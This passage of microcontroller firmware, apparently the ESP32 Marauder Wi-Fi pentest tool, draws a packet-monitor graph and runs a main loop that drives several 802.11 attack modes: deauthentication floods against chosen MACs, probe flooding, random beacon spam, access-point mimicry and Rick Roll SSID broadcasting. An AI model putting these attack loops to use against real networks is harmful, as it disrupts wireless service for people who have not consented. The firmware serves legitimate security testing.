  2680. display_obj.tftDrawYScaleButtons(y_scale);
  2681. display_obj.tftDrawChannelScaleButtons(set_channel);
  2682. display_obj.tftDrawExitScaleButtons();
  2683. break;
  2684. }
  2685. }
  2686. // X + button pressed
  2687. else if (b == 1) {
  2688. if (x_scale < 6) {
  2689. x_scale++;
  2690. delay(70);
  2691. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2692. display_obj.tftDrawXScaleButtons(x_scale);
  2693. display_obj.tftDrawYScaleButtons(y_scale);
  2694. display_obj.tftDrawChannelScaleButtons(set_channel);
  2695. display_obj.tftDrawExitScaleButtons();
  2696. break;
  2697. }
  2698. }
  2699. // Y - button pressed
  2700. else if (b == 2) {
  2701. if (y_scale > 1) {
  2702. y_scale--;
  2703. delay(70);
  2704. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2705. display_obj.tftDrawXScaleButtons(x_scale);
  2706. display_obj.tftDrawYScaleButtons(y_scale);
  2707. display_obj.tftDrawChannelScaleButtons(set_channel);
  2708. display_obj.tftDrawExitScaleButtons();
  2709. //updateMidway();
  2710. break;
  2711. }
  2712. }
  2713. // Y + button pressed
  2714. else if (b == 3) {
  2715. if (y_scale < 9) {
  2716. y_scale++;
  2717. delay(70);
  2718. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2719. display_obj.tftDrawXScaleButtons(x_scale);
  2720. display_obj.tftDrawYScaleButtons(y_scale);
  2721. display_obj.tftDrawChannelScaleButtons(set_channel);
  2722. display_obj.tftDrawExitScaleButtons();
  2723. //updateMidway();
  2724. break;
  2725. }
  2726. }
  2727. // Channel - button pressed
  2728. else if (b == 4) {
  2729. if (set_channel > 1) {
  2730. Serial.println("Shit channel down");
  2731. set_channel--;
  2732. delay(70);
  2733. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2734. display_obj.tftDrawXScaleButtons(x_scale);
  2735. display_obj.tftDrawYScaleButtons(y_scale);
  2736. display_obj.tftDrawChannelScaleButtons(set_channel);
  2737. display_obj.tftDrawExitScaleButtons();
  2738. changeChannel();
  2739. break;
  2740. }
  2741. }
  2742. // Channel + button pressed
  2743. else if (b == 5) {
  2744. if (set_channel < MAX_CHANNEL) {
  2745. Serial.println("Shit channel up");
  2746. set_channel++;
  2747. delay(70);
  2748. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2749. display_obj.tftDrawXScaleButtons(x_scale);
  2750. display_obj.tftDrawYScaleButtons(y_scale);
  2751. display_obj.tftDrawChannelScaleButtons(set_channel);
  2752. display_obj.tftDrawExitScaleButtons();
  2753. changeChannel();
  2754. break;
  2755. }
  2756. }
  2757. else if (b == 6) {
  2758. Serial.println("Exiting packet monitor...");
  2759. this->StartScan(WIFI_SCAN_OFF);
  2760. //display_obj.tft.init();
  2761. this->orient_display = true;
  2762. return;
  2763. }
  2764. }
  2765. }
  2766. if (currentTime - initTime >= GRAPH_REFRESH) {
  2767. //Serial.println("-----------------------------------------");
  2768. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2769. x_pos += x_scale;
  2770. initTime = millis();
  2771. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2772. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2773. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2774. //Serial.println("num_beacon: " + (String)num_beacon);
  2775. //Serial.println("num_deauth: " + (String)num_deauth);
  2776. //Serial.println(" num_probe: " + (String)num_probe);
  2777. num_beacon = 0;
  2778. num_probe = 0;
  2779. num_deauth = 0;
  2780. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2781. //Plot "X" value
  2782. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2783. //Plot "Z" value
  2784. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2785. //Plot "Y" value
  2786. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2787. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2788. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2789. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2790. {
  2791. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2792. }
  2793. else
  2794. {
  2795. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2796. }
  2797. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2798. //if (x_pos <= 90)
  2799. if (x_pos < 0) // below x axis
  2800. {
  2801. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2802. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2803. }
  2804. else
  2805. {
  2806. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2807. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2808. }
  2809. //tftDisplayTime();
  2810. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2811. {
  2812. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2813. }
  2814. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2815. y_pos_y_old = y_pos_y;
  2816. y_pos_z_old = y_pos_z;
  2817. //delay(50);
  2818. }
  2819. sd_obj.main();
  2820. }
  2821. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2822. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2823. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2824. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2825. display_obj.tftDrawYScaleButtons(y_scale);
  2826. display_obj.tftDrawChannelScaleButtons(set_channel);
  2827. display_obj.tftDrawExitScaleButtons();
  2828. display_obj.tftDrawColorKey();
  2829. display_obj.tftDrawGraphObjects(x_scale);
  2830. }
  2831. #endif
  2832. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2833. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2834. // showMetadata(snifferPacket, type);
  2835. //}
  2836. void WiFiScan::changeChannel(int chan) {
  2837. this->set_channel = chan;
  2838. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2839. delay(1);
  2840. }
  2841. void WiFiScan::changeChannel()
  2842. {
  2843. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2844. delay(1);
  2845. }
  2846. // Function to cycle to the next channel
  2847. void WiFiScan::channelHop()
  2848. {
  2849. this->set_channel = this->set_channel + 1;
  2850. if (this->set_channel > 13) {
  2851. this->set_channel = 1;
  2852. }
  2853. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2854. delay(1);
  2855. }
  2856. char* WiFiScan::stringToChar(String string) {
  2857. char buf[string.length() + 1] = {};
  2858. string.toCharArray(buf, string.length() + 1);
  2859. return buf;
  2860. }
  2861. // Function for updating scan status
  2862. void WiFiScan::main(uint32_t currentTime)
  2863. {
  2864. // WiFi operations
  2865. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2866. (currentScanMode == WIFI_SCAN_AP) ||
  2867. (currentScanMode == WIFI_SCAN_STATION) ||
  2868. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2869. (currentScanMode == WIFI_SCAN_PWN) ||
  2870. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2871. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2872. (currentScanMode == WIFI_SCAN_ALL))
  2873. {
  2874. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2875. {
  2876. initTime = millis();
  2877. channelHop();
  2878. }
  2879. }
  2880. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2881. {
  2882. #ifdef HAS_SCREEN
  2883. #ifndef MARAUDER_MINI
  2884. packetMonitorMain(currentTime);
  2885. #endif
  2886. #endif
  2887. }
  2888. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2889. {
  2890. #ifdef HAS_SCREEN
  2891. #ifndef MARAUDER_MINI
  2892. eapolMonitorMain(currentTime);
  2893. #endif
  2894. #endif
  2895. }
  2896. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2897. {
  2898. #ifdef HAS_SCREEN
  2899. eapolMonitorMain(currentTime);
  2900. #endif
  2901. }
  2902. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2903. for (int i = 0; i < 55; i++)
  2904. this->sendProbeAttack(currentTime);
  2905. if (currentTime - initTime >= 1000) {
  2906. initTime = millis();
  2907. String displayString = "";
  2908. String displayString2 = "";
  2909. displayString.concat(text18);
  2910. displayString.concat(packets_sent);
  2911. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2912. displayString2.concat(" ");
  2913. #ifdef HAS_SCREEN
  2914. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2915. display_obj.showCenterText(displayString2, 160);
  2916. display_obj.showCenterText(displayString, 160);
  2917. #endif
  2918. packets_sent = 0;
  2919. }
  2920. }
  2921. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2922. for (int i = 0; i < 55; i++)
  2923. this->sendDeauthAttack(currentTime, this->dst_mac);
  2924. if (currentTime - initTime >= 1000) {
  2925. initTime = millis();
  2926. String displayString = "";
  2927. String displayString2 = "";
  2928. displayString.concat(text18);
  2929. displayString.concat(packets_sent);
  2930. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2931. displayString2.concat(" ");
  2932. #ifdef HAS_SCREEN
  2933. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2934. display_obj.showCenterText(displayString2, 160);
  2935. display_obj.showCenterText(displayString, 160);
  2936. #endif
  2937. packets_sent = 0;
  2938. }
  2939. }
  2940. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2941. for (int i = 0; i < 55; i++)
  2942. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2943. if (currentTime - initTime >= 1000) {
  2944. initTime = millis();
  2945. String displayString = "";
  2946. String displayString2 = "";
  2947. displayString.concat(text18);
  2948. displayString.concat(packets_sent);
  2949. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2950. displayString2.concat(" ");
  2951. #ifdef HAS_SCREEN
  2952. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2953. display_obj.showCenterText(displayString2, 160);
  2954. display_obj.showCenterText(displayString, 160);
  2955. #endif
  2956. packets_sent = 0;
  2957. }
  2958. }
  2959. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2960. // Need this for loop because getTouch causes ~10ms delay
  2961. // which makes beacon spam less effective
  2962. for (int i = 0; i < access_points->size(); i++) {
  2963. if (access_points->get(i).selected)
  2964. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2965. random(256),
  2966. random(256),
  2967. random(256),
  2968. random(256),
  2969. random(256)}});
  2970. }
  2971. if (currentTime - initTime >= 1000)
  2972. {
  2973. initTime = millis();
  2974. //Serial.print("packets/sec: ");
  2975. //Serial.println(packets_sent);
  2976. String displayString = "";
  2977. String displayString2 = "";
  2978. displayString.concat(text18);
  2979. displayString.concat(packets_sent);
  2980. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2981. displayString2.concat(" ");
  2982. #ifdef HAS_SCREEN
  2983. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2984. display_obj.showCenterText(displayString2, 160);
  2985. display_obj.showCenterText(displayString, 160);
  2986. #endif
  2987. packets_sent = 0;
  2988. }
  2989. }
  2990. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2991. {
  2992. // Need this for loop because getTouch causes ~10ms delay
  2993. // which makes beacon spam less effective
  2994. for (int i = 0; i < 55; i++)
  2995. broadcastRandomSSID(currentTime);
  2996. if (currentTime - initTime >= 1000)
  2997. {
  2998. initTime = millis();
  2999. //Serial.print("packets/sec: ");
  3000. //Serial.println(packets_sent);
  3001. String displayString = "";
  3002. String displayString2 = "";
  3003. displayString.concat(text18);
  3004. displayString.concat(packets_sent);
  3005. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3006. displayString2.concat(" ");
  3007. #ifdef HAS_SCREEN
  3008. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3009. display_obj.showCenterText(displayString2, 160);
  3010. display_obj.showCenterText(displayString, 160);
  3011. #endif
  3012. packets_sent = 0;
  3013. }
  3014. }
  3015. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  3016. for (int i = 0; i < ssids->size(); i++)
  3017. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  3018. if (currentTime - initTime >= 1000)
  3019. {
  3020. initTime = millis();
  3021. packets_sent = 0;
  3022. }
  3023. }
  3024. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  3025. for (int i = 0; i < access_points->size(); i++) {
  3026. if (access_points->get(i).selected)
  3027. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  3028. }
  3029. if (currentTime - initTime >= 1000) {
  3030. initTime = millis();
  3031. packets_sent = 0;
  3032. }
  3033. }
  3034. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  3035. {
  3036. // Need this for loop because getTouch causes ~10ms delay
  3037. // which makes beacon spam less effective
  3038. for (int i = 0; i < 7; i++)
  3039. {
  3040. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  3041. {
  3042. broadcastSetSSID(currentTime, rick_roll[x]);
  3043. }
  3044. }
  3045. if (currentTime - initTime >= 1000)
  3046. {
  3047. initTime = millis();
  3048. //Serial.print("packets/sec: ");
  3049. //Serial.println(packets_sent);
  3050. String displayString = "";
  3051. String displayString2 = "";
  3052. displayString.concat(text18);
  3053. displayString.concat(packets_sent);
  3054. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3055. displayString2.concat(" ");
  3056. #ifdef HAS_SCREEN
  3057. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3058. display_obj.showCenterText(displayString2, 160);
  3059. display_obj.showCenterText(displayString, 160);
  3060. #endif
  3061. packets_sent = 0;
  3062. }
  3063. }
  3064. }